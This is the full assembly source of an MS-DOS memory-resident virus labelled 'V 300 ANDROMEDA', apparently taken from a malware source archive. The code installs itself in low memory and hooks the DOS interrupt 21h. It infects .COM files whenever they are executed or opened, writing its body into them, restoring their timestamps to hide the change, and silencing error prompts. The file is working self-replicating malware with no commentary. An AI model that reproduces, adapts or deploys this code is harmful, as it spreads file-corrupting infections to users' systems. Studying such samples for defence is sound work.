MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v300.asm
2021-01-12 18:04:54 -06:00

185 lines
2.9 KiB
NASM

;------------------------------------------------------------------------------
; V 300 ANDROMEDA <??:??:90> *.COM
;------------------------------------------------------------------------------
xseg segment
Assume cs:xseg
xproc proc far
dec bp
inc bp
push ax
xor ax,ax
mov es,ax
mov ax,es:[0535H]
cmp ax,454dh
jz np
; Resident proc near
mov di,535h
mov si,100h
mov cx,offset len-100h
cld
rep movsb
mov ax,offset int21+435h
xchg ax,es:[0084h]
mov es:[00c8h],ax
xor ax,ax
xchg ax,es:[0086h]
mov es:[00cah],ax
; Resident endp
np:
; NorProg proc near
push word ptr ds:[lenpro]
db 0eah
dw offset norprogm+435h
dw 0000h
; NorProg endp
NorProgM proc near
cld
mov di,100h
pop si
add si,100h
lea cx,len-100h
push ds
pop es
rep movsb
pop ax
mov cs:[p+435h],es
db 0eah
dw 100h
p: dw 0000h
NorProgM endp
Int21 proc near
push ax
push bx
push cx
push dx
push di
push ds
push es
cmp ax,4b00h
jz sj
jmp ji
sj: mov ax,offset int24+435h
xchg ax,cs:[0090h]
mov cs:[o24],ax
xor ax,ax
xchg ax,cs:[0092h]
mov cs:[s24],ax
mov ax,3d02h
int 32h
jc jcr
db 93h
mov dx,0bfe5h
mov ds,dx
xor dx,dx
lea cx,len-100h
mov ah,3fh
int 32h
mov di,dx
mov ax,[di]
cmp al,'M'
jz j
mov ax,4202h
xor cx,cx
int 32h
or ah,ah
jz j
mov cs:[lenpro+435h],ax
mov ax,5700h
int 32h
push cx
push dx
xor dx,dx
mov ah,40h
lea cx,len-100h
int 32h
mov ax,4200h
push cs
pop dx
xor cx,cx
int 32h
push cs
pop ds
lea cx,len-100h
mov dx,535h
mov ah,40h
int 32h
pop dx
pop cx
mov ax,5701h
int 32h
j: mov ah,3eh
int 32h
jcr: mov ax,cs:[o24+435h]
mov cs:[0090h],ax
mov ax,cs:[s24+435h]
mov cs:[0092h],ax
xor ax,ax
ji: cmp ah,3dh
jnz pr
push ds
pop es
push dx
pop di
mov cx,40h
mov al,'.'
repnz scasb
jnz pr
xchg di,bx
mov ax,[bx]
cmp ax,'OC'
jnz pr1
jmp sj
pr1: cmp ax,'oc'
jnz pr
jmp sj
pr: pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[00c8H]
Int21 endp
Int24 proc near
mov al,3
iret
s24: dw 0000h
o24: dw 0000h
int24 endp
lenpro dw 0000
Len label byte
xproc endp
xseg ends
end